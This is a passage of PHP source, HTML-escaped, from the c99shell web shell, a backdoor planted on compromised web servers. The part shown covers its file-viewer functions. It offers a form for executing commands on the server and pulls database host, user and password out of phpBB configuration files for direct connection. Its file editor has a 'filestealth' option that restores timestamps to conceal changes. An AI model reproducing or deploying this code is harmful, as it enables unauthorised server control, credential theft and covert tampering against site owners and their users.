    if ($fullhexdump) {echo &amp;quot;&amp;lt;b&amp;gt;FULL HEXDUMP&amp;lt;/b&amp;gt;&amp;quot;; $str = fread($fi,filesize($d.$f));}&lt;br /&gt;
    else {echo &amp;quot;&amp;lt;b&amp;gt;HEXDUMP PREVIEW&amp;lt;/b&amp;gt;&amp;quot;; $str = fread($fi,$hexdump_lines*$hexdump_rows);}&lt;br /&gt;
    $n = 0;&lt;br /&gt;
    $a0 = &amp;quot;00000000&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $a1 = &amp;quot;&amp;quot;;&lt;br /&gt;
    $a2 = &amp;quot;&amp;quot;;&lt;br /&gt;
    for ($i=0; $i&amp;lt;strlen($str); $i++)&lt;br /&gt;
    {&lt;br /&gt;
     $a1 .= sprintf(&amp;quot;%02X&amp;quot;,ord($str[$i])).&amp;quot; &amp;quot;;&lt;br /&gt;
     switch (ord($str[$i]))&lt;br /&gt;
     {&lt;br /&gt;
      case 0:  $a2 .= &amp;quot;&amp;lt;font&amp;gt;0&amp;lt;/font&amp;gt;&amp;quot;; break;&lt;br /&gt;
      case 32: &lt;br /&gt;
      case 10:&lt;br /&gt;
      case 13: $a2 .= &amp;quot;&amp;amp;nbsp;&amp;quot;; break;&lt;br /&gt;
      default: $a2 .= htmlspecialchars($str[$i]);&lt;br /&gt;
     }&lt;br /&gt;
     $n++;&lt;br /&gt;
     if ($n == $hexdump_rows)&lt;br /&gt;
     {&lt;br /&gt;
      $n = 0;&lt;br /&gt;
      if ($i+1 &amp;lt; strlen($str)) {$a0 .= sprintf(&amp;quot;%08X&amp;quot;,$i+1).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
      $a1 .= &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
      $a2 .= &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     }&lt;br /&gt;
    }&lt;br /&gt;
    //if ($a1 != &amp;quot;&amp;quot;) {$a0 .= sprintf(&amp;quot;%08X&amp;quot;,$i).&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
    echo &amp;quot;&amp;lt;table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td bgcolor=#666666&amp;gt;&amp;quot;.$a0.&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=000000&amp;gt;&amp;quot;.$a1.&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;td bgcolor=000000&amp;gt;&amp;quot;.$a2.&amp;quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   $encoded = &amp;quot;&amp;quot;;&lt;br /&gt;
   if ($base64 == 1)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;b&amp;gt;Base64 Encode&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $encoded = base64_encode(file_get_contents($d.$f));&lt;br /&gt;
   }&lt;br /&gt;
   elseif($base64 == 2)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;b&amp;gt;Base64 Encode + Chunk&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));&lt;br /&gt;
   }&lt;br /&gt;
   elseif($base64 == 3)&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;b&amp;gt;Base64 Encode + Chunk + Quotes&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
    $encoded = base64_encode(file_get_contents($d.$f));&lt;br /&gt;
    $encoded = substr(preg_replace(&amp;quot;!.{1,76}!&amp;quot;,&amp;quot;'\\0'.\n&amp;quot;,$encoded),0,-2);&lt;br /&gt;
   }&lt;br /&gt;
   elseif($base64 == 4)&lt;br /&gt;
   {&lt;br /&gt;
    $text = file_get_contents($d.$f);&lt;br /&gt;
    $encoded = base64_decode($text);&lt;br /&gt;
    echo &amp;quot;&amp;lt;b&amp;gt;Base64 Decode&amp;quot;;&lt;br /&gt;
    if (base64_encode($encoded) != $text) {echo &amp;quot; (failed)&amp;quot;;}&lt;br /&gt;
    echo &amp;quot;&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   if (!empty($encoded))&lt;br /&gt;
   {&lt;br /&gt;
    echo &amp;quot;&amp;lt;textarea cols=80 rows=10&amp;gt;&amp;quot;.htmlspecialchars($encoded).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;HEXDUMP:&amp;lt;/b&amp;gt;&amp;lt;nobr&amp;gt; [&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;fullhexdump=1&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;Full&amp;lt;/a&amp;gt;] [&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;Preview&amp;lt;/a&amp;gt;]&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;Base64: &amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;nobr&amp;gt;[&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;base64=1&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;Encode&amp;lt;/a&amp;gt;]&amp;amp;nbsp;&amp;lt;/nobr&amp;gt;&lt;br /&gt;
&amp;lt;nobr&amp;gt;[&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;base64=2&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;+chunk&amp;lt;/a&amp;gt;]&amp;amp;nbsp;&amp;lt;/nobr&amp;gt;&lt;br /&gt;
&amp;lt;nobr&amp;gt;[&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;base64=3&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;+chunk+quotes&amp;lt;/a&amp;gt;]&amp;amp;nbsp;&amp;lt;/nobr&amp;gt;&lt;br /&gt;
&amp;lt;nobr&amp;gt;[&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=info&amp;amp;base64=4&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot;&amp;gt;Decode&amp;lt;/a&amp;gt;]&amp;amp;nbsp;&amp;lt;/nobr&amp;gt;&lt;br /&gt;
&amp;lt;P&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;html&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   if ($white) {@ob_clean();}&lt;br /&gt;
   echo $r;&lt;br /&gt;
   if ($white) {exit;}&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;txt&amp;quot;) {echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;.htmlspecialchars($r).&amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;}&lt;br /&gt;
  elseif ($ft == &amp;quot;ini&amp;quot;) {echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;; var_dump(parse_ini_file($d.$f,true)); echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;}&lt;br /&gt;
  elseif ($ft == &amp;quot;phpsess&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;&lt;br /&gt;
   $v = explode(&amp;quot;|&amp;quot;,$r);&lt;br /&gt;
   echo $v[0].&amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
   var_dump(unserialize($v[1]));&lt;br /&gt;
   echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;exe&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   $ext = explode(&amp;quot;.&amp;quot;,$f);&lt;br /&gt;
   $c = count($ext)-1;&lt;br /&gt;
   $ext = $ext[$c];&lt;br /&gt;
   $ext = strtolower($ext);&lt;br /&gt;
   $rft = &amp;quot;&amp;quot;;&lt;br /&gt;
   foreach($exeftypes as $k=&amp;gt;$v)&lt;br /&gt;
   {&lt;br /&gt;
    if (in_array($ext,$v)) {$rft = $k; break;}&lt;br /&gt;
   }&lt;br /&gt;
   $cmd = str_replace(&amp;quot;%f%&amp;quot;,$f,$rft);&lt;br /&gt;
   echo &amp;quot;&amp;lt;b&amp;gt;Execute file:&amp;lt;/b&amp;gt;&amp;lt;form action=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=cmd\&amp;quot; method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;text\&amp;quot; name=\&amp;quot;cmd\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($cmd).&amp;quot;\&amp;quot; size=\&amp;quot;&amp;quot;.(strlen($cmd)+2).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;Display in text-area&amp;lt;input type=\&amp;quot;checkbox\&amp;quot; name=\&amp;quot;cmd_txt\&amp;quot; value=\&amp;quot;1\&amp;quot; checked&amp;gt;&amp;lt;input type=\&amp;quot;hidden\&amp;quot; name=\&amp;quot;d\&amp;quot; value=\&amp;quot;&amp;quot;.htmlspecialchars($d).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Execute\&amp;quot;&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;sdb&amp;quot;) {echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;; var_dump(unserialize(base64_decode($r))); echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;}&lt;br /&gt;
  elseif ($ft == &amp;quot;code&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   if (ereg(&amp;quot;phpBB 2.(.*) auto-generated config file&amp;quot;,$r))&lt;br /&gt;
   {&lt;br /&gt;
    $arr = explode(&amp;quot;\n&amp;quot;,$r);&lt;br /&gt;
    if (count($arr == 18))&lt;br /&gt;
    {&lt;br /&gt;
     include($d.$f);&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;phpBB configuration is detected in this file!&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     if ($dbms == &amp;quot;mysql4&amp;quot;) {$dbms = &amp;quot;mysql&amp;quot;;}&lt;br /&gt;
     if ($dbms == &amp;quot;mysql&amp;quot;) {echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=sql&amp;amp;sql_server=&amp;quot;.htmlspecialchars($dbhost).&amp;quot;&amp;amp;sql_login=&amp;quot;.htmlspecialchars($dbuser).&amp;quot;&amp;amp;sql_passwd=&amp;quot;.htmlspecialchars($dbpasswd).&amp;quot;&amp;amp;sql_port=3306&amp;amp;sql_db=&amp;quot;.htmlspecialchars($dbname).&amp;quot;\&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;u&amp;gt;Connect to DB&amp;lt;/u&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
     else {echo &amp;quot;But, you can't connect to forum sql-base, because db-software=\&amp;quot;&amp;quot;.$dbms.&amp;quot;\&amp;quot; is not supported by c99shell. Please, report us for fix.&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;Parameters for manual connect:&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;
     $cfgvars = array(&amp;quot;dbms&amp;quot;=&amp;gt;$dbms,&amp;quot;dbhost&amp;quot;=&amp;gt;$dbhost,&amp;quot;dbname&amp;quot;=&amp;gt;$dbname,&amp;quot;dbuser&amp;quot;=&amp;gt;$dbuser,&amp;quot;dbpasswd&amp;quot;=&amp;gt;$dbpasswd);&lt;br /&gt;
     foreach ($cfgvars as $k=&amp;gt;$v) {echo htmlspecialchars($k).&amp;quot;='&amp;quot;.htmlspecialchars($v).&amp;quot;'&amp;lt;br&amp;gt;&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;&amp;lt;/b&amp;gt;&amp;lt;hr size=\&amp;quot;1\&amp;quot; noshade&amp;gt;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   echo &amp;quot;&amp;lt;div style=\&amp;quot;border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: &amp;quot;.$highlight_background .&amp;quot;;\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
   if (!empty($white)) {@ob_clean();}&lt;br /&gt;
   highlight_file($d.$f);&lt;br /&gt;
   if (!empty($white)) {exit;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;/div&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;download&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   @ob_clean();&lt;br /&gt;
   header(&amp;quot;Content-type: application/octet-stream&amp;quot;);&lt;br /&gt;
   header(&amp;quot;Content-length: &amp;quot;.filesize($d.$f));&lt;br /&gt;
   header(&amp;quot;Content-disposition: attachment; filename=\&amp;quot;&amp;quot;.$f.&amp;quot;\&amp;quot;;&amp;quot;);&lt;br /&gt;
   echo $r;&lt;br /&gt;
   exit;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;notepad&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   @ob_clean();&lt;br /&gt;
   header(&amp;quot;Content-type: text/plain&amp;quot;);&lt;br /&gt;
   header(&amp;quot;Content-disposition: attachment; filename=\&amp;quot;&amp;quot;.$f.&amp;quot;.txt\&amp;quot;;&amp;quot;);&lt;br /&gt;
   echo($r);&lt;br /&gt;
   exit;&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;img&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   $inf = getimagesize($d.$f);&lt;br /&gt;
   if (!$white)&lt;br /&gt;
   {&lt;br /&gt;
    if (empty($imgsize)) {$imgsize = 20;}&lt;br /&gt;
    $width = $inf[0]/100*$imgsize;&lt;br /&gt;
    $height = $inf[1]/100*$imgsize;&lt;br /&gt;
    echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Size:&amp;lt;/b&amp;gt;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
    $sizes = array(&amp;quot;100&amp;quot;,&amp;quot;50&amp;quot;,&amp;quot;20&amp;quot;);&lt;br /&gt;
    foreach ($sizes as $v)&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;a href=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=img&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;&amp;amp;imgsize=&amp;quot;.$v.&amp;quot;\&amp;quot;&amp;gt;&amp;quot;;&lt;br /&gt;
     if ($imgsize != $v ) {echo $v;}&lt;br /&gt;
     else {echo &amp;quot;&amp;lt;u&amp;gt;&amp;quot;.$v.&amp;quot;&amp;lt;/u&amp;gt;&amp;quot;;}&lt;br /&gt;
     echo &amp;quot;&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;quot;;&lt;br /&gt;
    }&lt;br /&gt;
    echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;img src=\&amp;quot;&amp;quot;.$surl.&amp;quot;act=f&amp;amp;f=&amp;quot;.urlencode($f).&amp;quot;&amp;amp;ft=img&amp;amp;white=1&amp;amp;d=&amp;quot;.urlencode($d).&amp;quot;\&amp;quot; width=\&amp;quot;&amp;quot;.$width.&amp;quot;\&amp;quot; height=\&amp;quot;&amp;quot;.$height.&amp;quot;\&amp;quot; border=\&amp;quot;1\&amp;quot;&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;&lt;br /&gt;
   }&lt;br /&gt;
   else&lt;br /&gt;
   {&lt;br /&gt;
    @ob_clean();&lt;br /&gt;
    $ext = explode($f,&amp;quot;.&amp;quot;);&lt;br /&gt;
    $ext = $ext[count($ext)-1];&lt;br /&gt;
    header(&amp;quot;Content-type: &amp;quot;.$inf[&amp;quot;mime&amp;quot;]); &lt;br /&gt;
    readfile($d.$f);&lt;br /&gt;
    exit;&lt;br /&gt;
   }&lt;br /&gt;
  }&lt;br /&gt;
  elseif ($ft == &amp;quot;edit&amp;quot;)&lt;br /&gt;
  {&lt;br /&gt;
   if (!empty($submit))&lt;br /&gt;
   {&lt;br /&gt;
    if ($filestealth) {$stat = stat($d.$f);}&lt;br /&gt;
    $fp = fopen($d.$f,&amp;quot;w&amp;quot;);&lt;br /&gt;
    if (!$fp) {echo &amp;quot;&amp;lt;b&amp;gt;Can't write to file!&amp;lt;/b&amp;gt;&amp;quot;;}&lt;br /&gt;
    else&lt;br /&gt;
    {&lt;br /&gt;
     echo &amp;quot;&amp;lt;b&amp;gt;Saved!&amp;lt;/b&amp;gt;&amp;quot;;&lt;br /&gt;
     fwrite($fp,$edit_text);&lt;br /&gt;
     fclose($fp);&lt;br /&gt;
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}&lt;br /&gt;
     $r = $edit_text;&lt;br /&gt;
    }&lt;br /&gt;
   }&lt;br /&gt;
   $rows = count(explode(&amp;quot;\r\n&amp;quot;,$r));&lt;br /&gt;
   if ($rows &amp;lt; 10) {$rows = 10;}&lt;br /&gt;
   if ($rows &amp;gt; 30) {$rows = 30;}&lt;br /&gt;
   echo &amp;quot;&amp;lt;form method=\&amp;quot;POST\&amp;quot;&amp;gt;&amp;lt;input type=\&amp;quot;submit\&amp;quot; name=\&amp;quot;submit\&amp;quot; value=\&amp;quot;Save\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;reset\&amp;quot; value=\&amp;quot;Reset\&amp;quot;&amp;gt;&amp;amp;nbsp;&amp;lt;input type=\&amp;quot;button\&amp;quot; onclick=\&amp;quot;location.href='&amp;quot;.addslashes($surl.&amp;quot;act=ls&amp;amp;d=&amp;quot;.substr($d,0,strlen($d)-1)).&amp;quot;';\&amp;quot; value=\&amp;quot;Back\&amp;quot;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;textarea name=\&amp;quot;edit_text\&amp;quot; cols=\&amp;quot;122\&amp;quot; rows=\&amp;quot;&amp;quot;.$rows.&amp;quot;\&amp;quot;&amp;gt;&amp;quot;.htmlspecialchars($r).&amp;quot;&amp;lt;/textarea&amp;gt;&amp;lt;/form&amp;gt;&amp;quot;;&lt;br /&gt;
  }&lt;br /&gt;
  elseif (!empty($ft)) {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
  else {echo &amp;quot;&amp;lt;center&amp;gt;&amp;lt;b&amp;gt;Unknown extension (&amp;quot;.$ext.&amp;quot;), please, select type manually.&amp;lt;/b&amp;gt;&amp;lt;/center&amp;gt;&amp;quot;;}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
 @ob_clean();&lt;br /&gt;
 $images = array(&lt;br /&gt;
&amp;quot;arrow_ltr&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ&amp;quot;.&lt;br /&gt;
&amp;quot;SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;back&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8&amp;quot;.&lt;br /&gt;
&amp;quot;aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt&amp;quot;.&lt;br /&gt;
&amp;quot;Wg0JADs=&amp;quot;,&lt;br /&gt;
&amp;quot;buffer&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo&amp;quot;.&lt;br /&gt;
&amp;quot;eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD&amp;quot;.&lt;br /&gt;
&amp;quot;Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==&amp;quot;,&lt;br /&gt;
&amp;quot;change&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+&amp;quot;.&lt;br /&gt;
&amp;quot;/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA&amp;quot;.&lt;br /&gt;
&amp;quot;AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC&amp;quot;.&lt;br /&gt;
&amp;quot;wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA&amp;quot;.&lt;br /&gt;
&amp;quot;CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL&amp;quot;.&lt;br /&gt;
&amp;quot;zMshADs=&amp;quot;,&lt;br /&gt;
&amp;quot;delete&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp&amp;quot;.&lt;br /&gt;
&amp;quot;6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw&amp;quot;.&lt;br /&gt;
&amp;quot;sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv&amp;quot;.&lt;br /&gt;
&amp;quot;vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl&amp;quot;.&lt;br /&gt;
&amp;quot;ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5&amp;quot;.&lt;br /&gt;
&amp;quot;BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4&amp;quot;.&lt;br /&gt;
&amp;quot;STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G&amp;quot;.&lt;br /&gt;
&amp;quot;BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ&amp;quot;.&lt;br /&gt;
&amp;quot;jwVFHBgiEGQFIgQasYkcSbJQIAA7&amp;quot;,&lt;br /&gt;
&amp;quot;download&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu&amp;quot;.&lt;br /&gt;
&amp;quot;EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=&amp;quot;,&lt;br /&gt;
&amp;quot;forward&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8&amp;quot;.&lt;br /&gt;
&amp;quot;aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt&amp;quot;.&lt;br /&gt;
&amp;quot;WqsJADs=&amp;quot;,&lt;br /&gt;
&amp;quot;home&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS&amp;quot;.&lt;br /&gt;
&amp;quot;krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j&amp;quot;.&lt;br /&gt;
&amp;quot;VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=&amp;quot;,&lt;br /&gt;
&amp;quot;mode&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO&amp;quot;.&lt;br /&gt;
&amp;quot;2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/&amp;quot;.&lt;br /&gt;
&amp;quot;dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=&amp;quot;,&lt;br /&gt;
&amp;quot;refresh&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA&amp;quot;.&lt;br /&gt;
&amp;quot;AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY&amp;quot;.&lt;br /&gt;
&amp;quot;3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ&amp;quot;.&lt;br /&gt;
&amp;quot;R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=&amp;quot;,&lt;br /&gt;
&amp;quot;search&amp;quot;=&amp;gt;&lt;br /&gt;
&amp;quot;R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//&amp;quot;.&lt;br /&gt;
&amp;quot;/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap&amp;quot;.&lt;br /&gt;
&amp;quot;s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD&amp;quot;.&lt;br /&gt;
